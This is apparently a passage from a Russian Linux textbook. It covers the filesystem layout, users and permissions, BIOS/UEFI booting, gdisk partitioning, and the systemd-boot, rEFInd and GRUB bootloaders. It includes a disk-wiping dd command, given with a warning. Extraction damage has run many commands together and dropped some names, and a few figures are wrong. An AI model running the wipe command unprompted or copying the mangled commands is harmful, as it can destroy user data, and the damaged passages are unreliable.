каталоги home пользователей. По умолчанию, в GNU/Linux системах обычные пользователи могут изменять информацию только в своих домашних каталогах. / -содержатся библиотеки, необходимые для работы наиболее важных системных утилит, lib размещенных в каталогах /bin и /sbin. В том же каталоге находятся модули ядра (подкаталог modules), шрифты и раскладки клавиатуры, используемые в консольном режиме работы (подкаталог kbd). / -предназначен для временного монтирования файловых систем, находящихся на media съемных носителях (CD-ROM, USB-flash и др.). / -предназначен для монтирования файловых систем, находящихся на стационарных mnt носителях. / -все файлы “виртуальные” - они располагаются не на диске, а в оперативной памяти. В proc этих файлах содержится информация о программах (процессах), выполняемых в данный момент в системе. / -домашний каталог системного администратора. root / -предназначен для временных файлов: в таких файлах программы хранят необходимые tmp для работы промежуточные данные. После завершения программы временные файлы теряют смысл и должны быть удалены. Обычно каталог /tmp очищается при каждой загрузке системы. / -размещаются те данные, которые создаются в процессе работы разными программами var и предназначены для передачи другим программам и системам (очереди печати, электронной почты и др.) или для сведения системного администратора (системные журналы, содержащие протоколы работы системы). В отличие от каталога /tmp сюда попадают те данные, которые могут понадобиться после того, как создавшая их программа завершила работу. / -во многом повторяет структуру корневого каталога. Здесь можно найти такие же usr подкаталоги bin, sbin, etc, lib, как и в корневом каталоге. Однако в корневой каталог попадают только утилиты, необходимые для загрузки и восстановления системы в аварийной ситуации - все остальные программы и данные располагаются в подкаталогах каталога /usr. / -предназначен для установки стороннего коммерческого программного обеспечения. opt Для каждого пакета создается свой подкаталог (имя подкаталога отражает название пакета), повторяющий структуру корневого каталога.

1.1. Операционная система GNU/Linux 15 ABC Unix, Выпуск 1.0.01

В качестве имени файла может использоваться любая последовательность из букв, цифр и под- черкиваний (обычно до 256 символов). Могут использоваться и другие символы, однако, ряд этих символов при использовании в имени требует специального экранирования. Лучше не использовать специальные символы в именах – иногда это может привести к сложностям в обращении к файлам с такими именами. В общем случае не являются обязательными и какие-то расширения в именах. Хотя ряд команд требуют наличия некоторых фиксированных расширений в именах, например, расширение .с для исходных файлов Си-компилятора.

Примечание: Большие и маленькие буквы в именах файлов воспринимаются как различные символы, поэтому FILE, file и File – это три различных имени.

Виртуальная память

В ОС GNU/Linux (по умолчанию) для работы виртуальной памяти используется специальный раздел подкачки (swap-раздел). Размер этого раздела должен быть не меньше размера оперативной памяти компьютера. Swap-раздел не имеет точки монтирования и его содержимое недоступно в дереве каталогов файловой системы.

«Демоны»

Daemon (демон) – процесс, работающий в фоновом режиме и не связанный ни с одним пользова- тельским терминалом. Демоны предоставляют пользователям определенные сервисы, примерами которых могут служить системный журнал, веб-сервер и т. д. Аналогом демонов в операционных системах семейства MS Windows являются системные службы.

Графический интерфейс

В UNIX в отличие от MS Windows графический интерфейс не является обязательной частью опера- ционной системы. Он реализован в виде отдельного сервиса. Графический интерфейс строится по модульному, многоуровневому принципу. На нижнем уровне, непосредственно над оборудованием, находиться сервер графики (X-сервер). В его задачи входит отображение графических примитивов и отображение графического указателя «мыши». Классический графический интерфейс UNIX ра- ботает в режиме клиент-сервер (есть и упрощенные варианты интерфейса, не поддерживающие эту особенность). Это означает, что сама программа (X-клиент) не занимается выводом, а лишь управ- ляет X-сервером, который и осуществляет вывод графики на монитор. Управление X-сервером может осуществляться как локально, так и удаленно, по сети. Благодаря поддержке удаленного вывода графики на самом низком уровне любая графическая программа – даже если она на это не рассчитана – может выводить информацию на любой доступный по сети X-сервер. X-сервер работает не с реальным экраном дисплея, а с виртуальным, являющимся графическим аналогом текстовой виртуальной консоли. Благодаря этому размер экрана виртуального дисплея может быть больше размера реального экрана (изображение на реальном экране прокручивается), а также виртуальный дисплей может объединять несколько реальных экранов, причем подключен- ных не только локально, но и удаленно. Еще одним следствием виртуализации дисплея является возможность запуска нескольких виртуальных дисплеев (графических консолей) на одном компью- тере. На втором уровне графического интерфейса находится менеджер окон (WM), в задачи которого входит отображение и управление окнами приложений (перемещение, изменение размера, закры- тие и т. д.) и обработка событий графического указателя. Большинство WM поддерживают работу с несколькими «рабочими столами», что позволяет удобнее работать с большим количеством от- крытых приложений – окна приложений не перекрывают друг друга, а располагаются на разных рабочих столах, доступных с помощью перемещения указателя мыши к краю экрана (или с помо- щью какой-либо горячей клавиши).

16 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Менеджер окон может быть дополнен панелью управления, файловым менеджером (обычно он, кроме всего прочего, управляет рабочим столом) и системой управления сеансом. Проект GNU предлагает большой выбор модулей для конструирования графического интерфейса пользователя (GUI). Наиболее популярными модулями являются: • графические библиотеки: (библиотека нижнего уровня, лежит в основе всех библиотек), , GTK; • менеджеры окон: , , , , openstep, windowmaker, kwm, xwm и т.д; • панели управления: -panel, xfcepanel, lxpanel; • файловые менеджеры с возможностью управления рабочим столом: konquer, nautilus, thunar; • системы управления сеансом: gnome-session, -session, -session, -session. Возможности по настройке перечисленных выше модулей трудно описать. Отметим только одно – зачастую невозможно визуально определить какой набор модулей на данном компьютере исполь- зуется для организации графического интерфейса. В последнее время все большую популярность приобретает WM с поддержкой трехмерной графики (compiz). В глобальной сети (интернет) можно найти целый ряд сайтов с темами для оформления рабочего стола. Для решения прикладных задач наиболее популярны так называемые графические среды (в ан- глийской литературе их называют desktop). Графическая среда включает в себя все выше пере- численные элементы графического окружения, выполненные в едином стиле, на базе какой-либо графической библиотеки. Наиболее популярны среди графических сред: • KDE (на базе библиотеки QT), • GNOME, XFCE, LXDE (на базе библиотеки GTK). На сегодняшний день перечисленные среды полностью совместимы, что позволяет расширять функциональность одной из них за счет модулей другой. Для решения системных задач графический интерфейс не только не нужен, но и вреден. Благодаря тому, что в UNIX-системах графический интерфейс – это отдельный сервис, а GUI строится по мо- дульному принципу каждый пользователь волен выбирать сложность и «навороченность» своего «рабочего стола». Самый «легкий» пользовательский интерфейс — консольный (текстовый), без поддержки графики. С помощью последнего можно удаленно управлять любой UNIX-системой с минимальными затратами сетевого трафика (первые UNIX системы управлялись по линиям связи с трафиком 512 b/s). Консольный интерфейс также полезен на серверах, поскольку обычные поль- зователи на серверах локально не работают и тратить ресурсы на «прожорливый» графический интерфейс не имеет смысла. Отсутствие X-сервера (или его отключение) не означает, что с сервера нельзя удаленно запускать программное обеспечение с графическим интерфейсом. Для удаленного запуска ПО с графическим интерфейсом X-сервер должен работать на стороне клиента.

Консоль. Терминал. Виртуальный терминал

Консолью обычно называют совокупность устройств интерактивного ввода/вывода (в простейшем случае это клавиатура, «мышь» и монитор). В отличие от MS Windows, GNU/Linux обеспечивает подключение к одному системному блоку нескольких (по умолчанию до 256) консолей, которые в отличие от основной (системной), называются терминалами. Кроме реальных консолей и терминалов, в GNU/Linux поддерживаются т.н. виртуальные терми- налы, которые позволяют с помощью одной физической консоли (терминала) работать сразу под несколькими пользователями. Реальная консоль (терминал) в каждый момент времени может быть «подключена» к одному из виртуальных терминалов. Виртуальный терминал связанный на данный момент с консолью назы- вают активным. В дальнейшем под словом “консоль” или “терминал” будет пониматься активный виртуальный терминал. Переключаться между виртуальными терминалами (делать их активными) можно при помощи функциональных клавиш [F1] ... [F12] в сочетании с одновременно нажатыми управляющими клавишами [Ctrl]+[Alt].

1.1. Операционная система GNU/Linux 17 ABC Unix, Выпуск 1.0.01

Для поддержки алфавитно-цифровых (текстовых) терминалов используется программа из семей- ства getty (mingetty, agetty и т. д.).

Пользователи и группы

UNIX-системы относятся к классу многопользовательских операционных систем – это означает, что для работы в системе пользователь должен зарегистрироваться, ввести имя своей учетной записи (login) и соответствующий ей пароль (password). Вход в систему под именем несуществующей учетной записи или с неправильно введенным паролем невозможен. После успешной регистрации (входа в систему) пользователю сопоставляются два уникальных идентификатора: • uid -идентификатор пользователя, • gid -идентификатор группы. Идентификаторы uid и gid – целые числа в диапазоне от 1 до 65535. Группы, к которым принадлежит пользователь (пользователь может принадлежать нескольким группам), делятся на основную и дополнительные. Каждому пользователю всегда соответствует хотя бы одна группа (основная), ее идентификатор хранится в регистрационной записи пользовате- ля. Без включения пользователя в основную группу нельзя создать соответствующую ему учетную запись. Принадлежность пользователя к дополнительным группам фиксируется не в регистраци- онной записи пользователя, а в регистрационных записях групп. Поэтому пользователь может принадлежать, а может и не принадлежать дополнительным группам.

Права доступа и маска доступа

Идентификатор пользователя и идентификатор группы предназначены для разграничения прав и защиты данных пользователей. Совокупность функций, обеспечивающих разграничение прав и защиту данных пользователя, является частью системы безопасности. В UNIX-системах по умолча- нию используется система безопасности Discretionary Access Control (DAC). После дополнительных настроек ее можно расширить до системы Access Control List (ACL). В соответствии с системой безопасности DAC каждому объекту (процессу, защищенной области памяти, файлу, каталогу, устройству, и т. д.) присваивается три стандартных атрибута: • маска доступа, • uid владельца, • gid группы владельцев. При создании нового объекта ему присваивается маской доступа по умолчанию, которая задается при установке системы или при ее настройке. Маска доступа разбита на группы: • дополнительная (подробно описана в разделе “Права доступа”), • права владельца (в документации обозначаются символом u), • права группы (в документации обозначаются символом g), • права любого пользователя (в документации обозначаются символом o). Каждая группа прав определяется тремя битами: • разрешение на чтение (в документации обозначаются символом r); • разрешение на запись (в документации обозначаются символом w); • разрешение на исполнение или открытие каталога (в документации обозначаются символом x).

18 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Если бит установлен в 1, то соответствующая операция разрешена, если бит сброшен в 0 – опера- ция запрещена. Маску доступа часто записывают в символьном виде, указывая соответствующий символ r, w, x если бит установлен, или символ -, если он сброшен. При обращении к объекту uid субъекта сравнивается с uid объекта. Если они равны, то доступ субъекта к объекту осуществляется в соответствии с группой прав владельца. Если нет, gid субъ- екта сравнивается с gid объекта. Если они равны, то доступ субъект к объекту осуществляется в соответствии с группой прав группы владельцев. Если ни uid, ни gid субъекта не совпадают с соответствующими идентификаторами объекта, то доступ субъект к объекту осуществляется в соответствии группой прав любого пользователя. В соответствии с DAC, алгоритм доступа к объекту в упрощенном виде выглядит следующим образом: • Пользователь “входит в систему” (вводит правильное имя и пароль). • Операционная система запускает графический интерфейс (командную строку) от имени этого пользователя (созданные процессы характеризуются uid и gid данного пользователя). • Пользователь пытается “запустить программу”. • Операционная система по uid и gid пользователя и по маске доступа к файлу с кодом про- граммы определяет, может ли данный пользователь выполнить эту программу. • Если пользователь имеет права на исполнение файла с кодом программы, операционная си- стема создает т.н. “процесс”: – Загружает код программы в память. – Сопоставляет этому коду блок управления процессом. – Записывает в блок управления процессом uid и gid пользователя, от имени которого запущена программа. – Передает управление загруженному коду. • Каждый раз, при попытке запущенного процесса использовать какой-либо объект (защищен- ную области памяти, файл, каталог, устройство, и т.д) операционная система по uid и gid процесса и по маске доступа к объекту определяет возможность выполнения операции.

Загрузка ОС

В настоящее время существуют два способа загрузки операционных систем для Intel-совместимых компьютеров: • Система загрузки BIOS. • Система загрузки UEFI.

Система загрузки BIOS

Была разработана IBM для производимых ею персональных компьютеров IBM PC. BIOS является жестким и фактически неизменным кодом, который после выполнения операций по инициализации оборудования передает управление внесистемному загрузчику. Внесистемный загрузчик распола- гается в первых 426 байтах, первого сектора накопителя на жестком диске. Стандартный внеси- стемный загрузчик не занимается загрузкой ОС, он только определяет раздел помеченный как активный. В первом секторе активного раздела обычно располагается код вторичного загрузчика, а сам сектор именуется загрузочным. Часто, вторичный загрузчик называют системным загрузчи- ком. Код вторичного загрузчика должен уметь работать с соответствующей файловой системой, поскольку в его задачу входит загрузка ядра операционной системы, которое, как правило, явля- ются обычным файлом.

1.1. Операционная система GNU/Linux 19 ABC Unix, Выпуск 1.0.01

Загрузка в стиле DOS

ОС DOS и Windows 9х во время инсталляции записывают в MBR стандартный внесистемный загрузчик, который определяет активный раздел и передает управление коду, размещенному в его первом секторе – системному загрузчику. Системный загрузчик, в свою очередь, загружает в память ядро системы и передает ему управление.

Загрузка в стиле Windows NT

В операционных системах этого семейства (Windows NT, Windows XP, Windows 2000) используется специальная загрузочная программа - NTLoader, расположенная в файле ntldr. Программа ntldr помещается в корне активного раздела, при этом сама NT-система может быть инсталлирована на другой раздел, включая и логические диски. NTLoader позволяет настраивать загрузку нескольких ОС с помощью конфигурационного файла boot.ini, который размещается там же, где и загрузчик ntldr. Кроме загрузки ОС семейства Windows, NTLoader позволяет загружать образы загрузочных секторов из файла, что позволяет с его помощью загружать не только ОС фирмы MicroSoft.

Система загрузки UEFI

В 1998 году фирма Intel приступила к разработке новой системы загрузки EFI для процессоров Itanium. В 2005 году корпорация Intel передала свою разработку специально созданному консор- циуму UEFI Forum, главными участниками которого стали: Intel, AMD, Apple, IBM, Microsoft и ряд других. UEFI представляет собой специализированную операционную систему, предназна- ченную для загрузки других операционных систем. Физическое расположение UEFI может быть разнообразным - от микросхемы памяти или раздела на жестком диске до внешнего сетевого хра- нилища. В соответствии со спецификацией UEFI поддерживает файловую систему FAT32. С по- мощью UEFI процесс загрузки выглядит так. С раздела GPT с идентификатором EF00 и файло- вой системой FAT32, загружается в память файл \efi\boot\boot<архитектура>.efi (например, \efi\boot\bootx64.efi), который должен выполнять все действия необходимые для загрузки ОС.

Установка и первичная настройка загрузчика UEFI

Основные термины

EFI Старая версия UEFI (до 2.0) GPT GUID Partition Table - новый способ разметки HDD. В отличие от MBR, GPT поддерживает диски размером более 2ТБ и неограниченное количество разделов. UEFI по умолчанию может читать файлы FAT32 на GPT-разделах. Доступа к MBR-разделам UEFI может осуществлять с помощью расширения Compatibility Support Module (CSM). boot services обеспечивают взаимодействие с графическими и текстовыми терминалами, шинами, блочными устройствами и т.д. runtime services обеспечивают взаимодействие с операционной системой. Например, variable service обеспечивает запись значение в NVRAM. В ОС Linux variable service используется для хранения “дампов” памяти, которые можно проанализировать после перезагрузки ком- пьютера. Модули Можно использовать свои приложения. Можно загружать свои драйверы. Специфика- ция UEFI предусматривает использование драйверов UEFI в ОС. Если ОС не поддерживает устройство, а UEFI поддерживает, то ОС может использовать такое устройство с помощью драйвера UEFI. CSM BIOS Модуль совместимости с загрузчиком BIOS

20 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Shell модуль, обеспечивающий итерактивный интерфейс для управления UEFI. Например, с его помощью можно (до загрузки ОС) добавить модули поддержки файловых систем, UEFI- драйверы сетевых карт и т.д. Встроенный менеджер загрузки Можно добавлять пункты меню загрузки, и они появятся в загрузочном меню UEFI. Boot-сектор больше не используется. Загрузка в UEFI происходит быстрее.

ESP-раздел

UEFI видит все разделы с файловыми системами, для которых в конкретной реализации прошивки имеются драйверы. ESP-раздел отличается от остальных разделов тем, что на разделе ESP осу- ществляется поиск загрузчиков и автоматическое создание переменной BootXXXX, если загрузчик нашелся. На ESP-разделе содержаться папки (Boot, Microsoft, RedHat, Fedora, Ubuntu и т.д) с за- грузчиками соответствующих ОС, в которых находятся файлы с расширением .efi. Большинство Linux-дистрибутивов монтируют ESP-раздел в каталог /boot/efi.

Краткая инструкция по установке

• Создать таблицу разделов GPT, создать FAT32-раздел В теории, EFI-раздел должен иметь особый тип “EFI System” (ef00). На практике, годится первый раздел на GPT-диске, отфор- матированный в FAT32 и имеющий достаточно места, чтобы разместить загрузчик и вспомо- гательные файлы. • Скачать любой UEFI-загрузчик. Поместить файл загрузчика на созданный раздел по адресу /EFI/Boot/bootx64.efi Загрузчик — это просто исполняемый файл определенного форма- та. Для пакета файл загрузчика находится по адресу /usr/lib/systemd/boot/efi/ systemd-bootx64.efi. • Создать файл настройки (зависит от конкретной реализации загрузчика) После перезагрузки должно появиться меню загрузчика.

Пример создания EFI-раздела с GPT-разметкой

Предупреждение: После выполнения действий перечисленных ниже ВСЕ ДАННЫЕ С НОСИТЕЛЯ БУДУТ УДАЛЕНЫ

Запустить утилиту разметки диска (далее предполагается, что раздел для размещения загрузчика UEFI это /dev/sdc): gdisk/dev/sdc

Возможны несколько вариантов сообщений при запуске gdisk: • На носителе найдена разметка GPT:

GPT fdisk (gdisk) version X.X.X

Partition table scan: MBR: protective BSD: not present APM: not present GPT: present

Found valid GPT with protective MBR; using GPT.

1.1. Операционная система GNU/Linux 21 ABC Unix, Выпуск 1.0.01

Command (? for help):

Можно перейти к созданию раздела для загрузчика UEFI. • На носителе нет никакой разметки:

GPT fdisk (gdisk) version X.X.X

Partition table scan: MBR: not present BSD: not present APM: not present GPT: not present

Creating new GPT entries.

Можно перейти к созданию раздела. • На носителе найдена MBR разметка и попорченная GPT разметка:

GPT fdisk (gdisk) version X.X.X Caution: invalid main GPT header, but valid backup; regenerating main header from backup! Warning! Main and backup partition tables differ! Use the 'c' and 'e' options on the recovery & transformation menu to examine the two tables. Warning! One or more CRCs don't match. You should repair the disk!

Partition table scan: MBR: MBR only BSD: not present APM: not present GPT: damaged

Found a valid MBR and corrupt GPT. Which do you want to use? (Using the GPT MAY permit recovery of GPT data.) 1 - MBR 2 - GPT 3 - Create blank GPT

Your answer:

Необходимо ввести 3 и перейти к созданию раздела. • На носителе найдена только MBR разметка:

GPT fdisk (gdisk) version X.X.X

Partition table scan: MBR: MBR only BSD: not present APM: not present GPT: not present

*************************************************************** Found invalid GPT and valid MBR; converting MBR to GPT format. THIS OPERATION IS POTENTIALLY DESTRUCTIVE! Exit by typing 'q' if you don't want to convert your MBR parotitions to GPT format! ***************************************************************

Command (? for help):

Необходимо: – выйти из программы разметки gdisk и очистить начальные сектора:

22 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

dd if=/dev/zero of=/dev/sdc bs=1024000 count=10

– повторно запустить программe разметки gdisk. Для создания раздела нужно ввести команду n в ответ на приглашение:

Command (? for help):n

Диалог создания раздела выглядит следующим образом:

Command (? for help): n Partition number (1-128, default 1):** First sector (34-4029406, default = 2048) or {+-}size{KMGTP}:

Command (? for help): w

Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!!

Do you want to proceed? (Y/N): y OK; writing new GUID partition table (GPT) to /dev/sdc. The operation has completed successfully.

Можно посмотреть как выглядит носитель после создания раздела: gdisk-l/dev/sdc

После создания раздела его необходимо отформотировать: mkdosfs/dev/sdc1 efibootmgr

Позволяет управлять пунктами загрузки из командной строки.

Примечание: Запуск efibootmgr из под MS Windows делает загрузчик Windows Boot Manager загрузчиком по умолчанию (присваивает ему наивысший приоритет). efibootmgr опасная утилита, лучше использовать EFI Shell. efibootmgr изменяет напрямую NVRAM. В большинстве случае UEFI умеет восстанавливать испорченный NVRAM каждый раз проверяя его и перезаписывая, в случая неполадок. Однако некоторые недобросовестные произво- дители (ноутбуки с UEFI на базе Phoenix SCT) выпускают прошивки, которые при восстановлении могут превратить компьютер в самый настоящий “кирпич”. Пример: efibootmgr-c-L"Archlinux (debug)"\ -l '\EFI\archlinux\vmlinuz-linux' \ -u"root=/dev/mapper/vg1-lvroot rw initrd=\EFI\archlinux\initramfs-linux.img␣ ˓→systemd.log_level=debug systemd.log_target=kmsg log_buf_len=1M enforcing=0"

1.1. Операционная система GNU/Linux 23 ABC Unix, Выпуск 1.0.01

UEFI-bootloader

Если в настройках BIOS разрешен UEFI, то при загрузке прошивка UEFI сначала ищет EFI-раздел, а затем пытается исполнить файл /EFI/Boot/BOOTX64.EFI. Команда: bootctl install —path=/boot

копирует исполняемый файл загрузчика на EFI-раздел и добавляет свою загрузочную запись в прошивку. systemd-boot

Позволяет управлять пунктами меню загрузки с помощью простых настроечных файлов. Необо- димо в корне EFI-раздела создать каталог loader, в нём файл loader.conf с тремя строчками: default archlinux timeout 10 editor1

Параметр editor отвечает за возможность отредактировать пункт загрузочного меню перед за- пуском. В том же каталоге, где находится файл loader.conf необходимо создать каталог entries. Каждый файл в этом каталоге отвечает за одну загрузочную запись в boot-меню. Пример: title Arch Linux linux/efi/archlinux/vmlinuz-linuxinitrd/ efi/archlinux/initramfs-linux.img options root=/dev/mapper/vg1-lvroot rw initrd=\EFI\archlinux\intel-ucode.img

Примечание: Файлы ядра и initramfs должны находиться на файловой системе загрузчика (на EFI-разделе). Пути к ним отсчитываются от корня этой ФС.

UEFI в VirtualBox

• Создать ВМ без дисков. • Включить EFI. • Включить ВМ

UEFI Interactive Shell v2.0 Copyright 2009-2011 Intel(r) Corportation. All rights reserved. Beta build 1.0 UEFI v2.31 (EDK II, 0x00010000)

Файл с EFI загрузчиком в MacOSß:

/Applications/VirtualBox.app/Contents/MacOS/VBoxEFI64.fd

Получение справки по командам с остановкой в конце каждой страницы: help-b

Просмотр текущих параметров загрузки: bcfg boot dump-v

Можно добавить EFI-загрузчик MacOS:

24 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

bcfg boot add3 fs1:\System\Library\CoreServices\boot.efi"10.6"

Другие загрузчики

systemd-boot позволяет вручную настраивать очень простое чёрно-белое меню.

rEFind

• поддерживает текстовый и графический интерфейсы; • поддерживает TochPad; • автоматически создает загрузочное меню, сканируя все распознаваемые разделы; • поддерживает загрузку Linux, MacOS, MS Windows; • автоматически запоминает последний пункт загрузки. Документация и установочные пакеты здесь. Установливается в каталог EFI/refind/refind_x64. efi ESP-раздела. Установить rEFInd повторно, если пакет уже установлен, можно с помощью команды:

refind-install

Назначить наивысший приоритет rEFInd при загрузке можно с помощью команды:

refind-mkdefault

Основной файл настроек - /boot/efi/EFI/refind/refind.conf rEFInd является .efi-приложением, собранным средствами UEFI Shell. rEFInd не является загруз- чиком. Это так называемый Boot Manager, он вызвает другие efi-приложения, а также может на- править UEFI на запуск ядра прямо с раздела /boot. Другими словами систему загружает не он, а сам UEFI. В файле /boot/refind_linux.conf можно задать несколько вариантов с разными пара- метрами ядра. Также в папке EFI/tools можно разместить различные .efi-приложения (к примеру UEFI Shell или memtest86+). rEFInd их автоматически подхватит и покажет в нижнем ряду как утилиты.

Clover

Управляет разрешением экрана загрузки, имеет поддержку мыши на экране загрузки, поддержи- вает темы оформления. Настройки хранятся в xml формате.

Загрузчик GRUB и GRUB2

Загрузчик ОС, который разрабатывается в рамках одноименного открытого проекта. Загрузчик GRUB может быть установлен в большинстве ОС семейства UNIX, a также в некоторых ОС се- мейства MS Windows. При установке GRUB в MBR записывается нестандартный загрузочный код, который позволяет активизировать системные загрузчики разделов с помощью меню. Предусмот- рена возможность передачи управления системному загрузчику расположенному как в загрузочном секторе, так и непосредственно в файловой системе. В первом случае загрузчик GRUB ведет се- бя как стандартный внесистемный загрузчик и позволяет загружать любые ОС (в частности, ОС семейства MS Windows). Во втором случае, могут загружаться только те ОС, файловые системы которых, поддерживаются загрузчиком GRUB. На настоящий момент существуют две версии загрузчика - GRUB и GRUB2.

1.1. Операционная система GNU/Linux 25 ABC Unix, Выпуск 1.0.01

GRUB

Загрузчик GRUB позволяет изменять параметры загрузки ОС с помощью вызова: • командного интерпретатора загрузки (клавиша c). • встроенного редактора меню (клавиша e); При редактировании пункта меню можно изменять команды и опции загрузки ядра, при использо- вании командного интерпретатора необходимо вводить инструкции загрузки ОС заново. Функци- ями ядра можно управлять изменяя параметры загрузки. В случае загрузчика GRUB параметры загрузки перечисляются через пробел сразу за именем файла ядра. Полный перечень парамет- ров и их описание можно найти в документации на исходный код ядра. Ниже приведены только некоторые, наиболее часто используемые из них: Параметр Назначение root=/dev/<раздел>Раздел, монтируемый ядром в качестве корневой файловой системы. ro Монтирование корневой файловой системы только для чтения. =<программа>Программа, запускаемая ядром для инициализации операционной системы. По умолчанию используется /sbin/init. S или single Загрузка операционной системы в монопольном (однопользовательском) режиме. целое число Загрузка операционной системы в заданном режиме. от 1 до 5 quiet Отключить вывод диагностических сообщений при загрузке ядра rhgb Включить графическую заставку во время инициализации операционной системы.

Редактор меню

Редактор меню вызывается нажатием клавиши e в основном меню загрузки и позволяет редакти- ровать содержимое выбранной секции загрузки. Секция для загрузки GNU/Linux выглядит сле- дующим образом:

root (hd0,0) kernel/boot/vmlinuz root=/dev/sda1 quiet rhgb initrd/boot/initrd.img boot

где: – конкретная версия ядра может меняться в процессе обновления системы. Каждая строка приведенного пункта меню представляет собой команду.

Команда root (<устройство>,<раздел>)

Задает устройство и раздел, на котором по умолчанию должны находиться файлы, необходимые для загрузки ядра операционной системы. Устройство указывается с помощью двухбуквенного обозначения типа (в примере – hd) и номера устройства (в примере – 0). Тип устройства может быть одним из следующих:

hd – накопитель на жестких дисках fd – накопитель на гибком диске; cd – привод лазерного диска.

После запятой указывается номер раздела на устройстве (в примере – 0). Нумерация разделов начинается с 0.

26 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Команда kernel<имя_файла><параметры_ядра>

Загружает ядро ОС из указанного файла (в примере – /boot/vmlinuz). После имени файла ядра обычно указываются параметры загрузки ядра (в примере – root=/dev/sda1 quiet rhgb).

Команда initrd<имя_файла>

Загружает из указанного файла (в примере – /boot/initrd.img) образ виртуального диска с модулями ядра, необходимыми для монтирования корневой файловой системы.

Команда boot

Передает управление загруженному ядру. Использование этой команды в меню загрузки необяза- тельно, поскольку загрузчик GRUB передает управление ядру автоматически после выполнения последней команды меню. Редактор меню поддерживает команды, соответствующие следующим клавишам: • o – добавить команду после текущей; • O – добавить команду перед текущей; • d – удалить текущую команду; • e – редактировать текущую команду до нажатия Enter (сохранить изменения) или Esc (отказ от изменений); • Esc – выход из редактора с отказом от всех изменений; • b – загрузка операционной системы (выполнение команд текущей секции); • c – переход в режим командной строки.

Командный интерпретатор

После нажатия горячей клавиши c загрузчик переходит в режим командного интерпретатора. Для загрузки ОС в этом режиме необходимо выполнить команды аналогичные описанным выше. Ввод каждой команды должен завершаться нажатием клавиши Enter. При наборе команд поддержива- ется механизм автодополнения команд и имен файлов, аналогичный командному интерпретатору bash. Загрузка системы начинается после выполнения команды boot.

Конфигурационный файл загрузчика GRUB

Описанные выше действия по изменению параметров загрузки действуют только один раз. После перезагрузки компьютера параметры загрузки восстанавливаются из конфигурационного файла:

/boot/grub/grub.conf

Просмотр данного файла в загруженной по умолчанию системе позволяет узнать с какими пара- метрами было загружено ядро и операционная система.

Особенности GRUB2

Принципиальное отличие в управлении GRUB2 – конфигурационный файл /boot/grub2/grub.cfg (замена файла /boot/grub/grub.conf в GRUB) не редактируется вручную, а создается автомати- чески командой:

grub2-mkconfig

1.1. Операционная система GNU/Linux 27 ABC Unix, Выпуск 1.0.01

на основе файла настроек /etc/deafult/grub и скриптов, находящихся в /etc/grub.d/.

Примечание: Конфигурационный файл /boot/grub2/grub.cfg можно отредактировать обыч- ным редактором, но внесенные изменения будут сохранены только до первого обновления системы, затрагивающего ядро.

Команда grub2-mkconfig, генерирует содержимое нового конфигурационного файла, не перезапи- сывая старый, а выводя это содержимое на стандартное устройство вывода, поэтому для изменения конфигурационного файла применяется цепочка команд:

grub2-mkconfig>/boot/grub/grub.cfg

В зависимости от дистрибутива набор скриптов различен, но есть скрипты, которые присутствуют в большинстве дистрибутивов: 00_header загружает установки GRUB из /etc/default/grub, такие, как: время ожидания выбора конфигурации, конфигурация, загружаемая по умолчанию и другие. 10_linux загружает конфигурации меню для установленного дистрибутива. 20_memtest86+загружает утилиту тестирования памяти. 30_os- сканирует жесткие диски на наличие других операционных систем и добавляет их prober в загрузочное меню. 40_custom предназначен для добавления пунктов меню загрузки вручную. Нумерация скриптов осуществляется согласно очередности их исполнения.

Примечание: Эти скрипты не должны редактироваться, за исключением скрипта 40_custom, который как раз и предназначен для создания собственных пунктов меню загрузки.

Правильным способом настройки сгенерированных системой пунктов меню загрузки является ре- дактирование файла настроек /etc/deafult/grub.

Параметры

• GRUB_DEFAULT устанавливает систему, загружаемую по умолчанию. Может быть равен номеру (нумерация начинается с 0)

GRUB_DEFAULT=0

или точному названию

GRUB_DEFAULT="Microsoft Windows XP Professional (on /dev/sda1)

В качестве значения можно указать saved. Это позволит использовать команды grub-reboot и grub-set-default для выбора пункта меню по-умолчанию при последующих перезагрузках. Например:

sudo grub2-reboot1

однократно выбирает второй пункт меню по-умолчанию (только для следующей загрузки)

Примечание: Записывает в файл grubenv номер пункта меню по умолчанию:

saved_entry=1

28 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

sudo grub2-set-default2

выбирает на постоянной основе третий пункт меню по-умолчанию. • GRUB_SAVEDEFAULT=true в паре с GRUB_DEFAULT=keep позволяют сохранить выбор загружаемой системы, сделав ее системой по умолчанию (см. выше). • GRUB_TIMEOUT – время в секундах, в течение которого GRUB ждет выбора, прежде чем загрузить систему по умолчанию. Можно установить равным 0, чтобы GRUB не показывал экран выбора ОС, или любое отрицательное значение для отключения таймера. • GRUB_HIDDEN_TIMEOUT указывает паузу в секундах перед отображением меню за- грузки. Учитывается, только тогда, когда установлено несколько ОС. Если параметр GRUB_HIDDEN_TIMEOUT_QUIET=true, то во время ожидания таймер не отображается. • GRUB_DISTRIBUTOR – название текущего дистрибутива, используется при формировании соответствующей записи в меню выбора ОС. • GRUB_CMDLINE_LINUX, GRUB_CMDLINE_LINUX_DEFAULT – список пара- метров, передаваемых ядру Linux. Значения параметра GRUB_CMDLINE_LINUX используются как для обычного режима загрузки, так и для режима восста- новления (recovery). Значения параметра GRUB_CMDLINE_LINUX_DEFAULT используются только обычным режимом. Аналогично используются пара- метры GRUB_CMDLINE_NETBSD, GRUB_CMDLINE_NETBSD_DEFAULT GRUB_CMDLINE_XEN, GRUB_CMDLINE_XEN_DEFAULT для систем NetBSD и Xen. • GRUB_DISABLE_RECOVERY=true – пункт меню загрузки в режиме восстановления не создается. • GRUB_DISABLE_OS_PROBER=true – отключает поиск других установленных ОС и гене- рацию для них пунктов меню загрузки. • GRUB_GFXMODE=1280x768x32 – устанавливает разрешение экрана. Третий параметр (цветность) можно опустить. Список доступных разрешений можно посмотреть командой vbeinfo в командной строке GRUB2. • GRUB_GFXPAYLOAD_LINUX=true – сохраняет разрешение экрана при передаче управле- ния ядру Linux. • GRUB_BACKGROUND=”/path/to/picture.jpeg” – устанавливает фоновое изображение. • GRUB_THEME=”path/to/theme.file” – устанавливает тему оформления. • 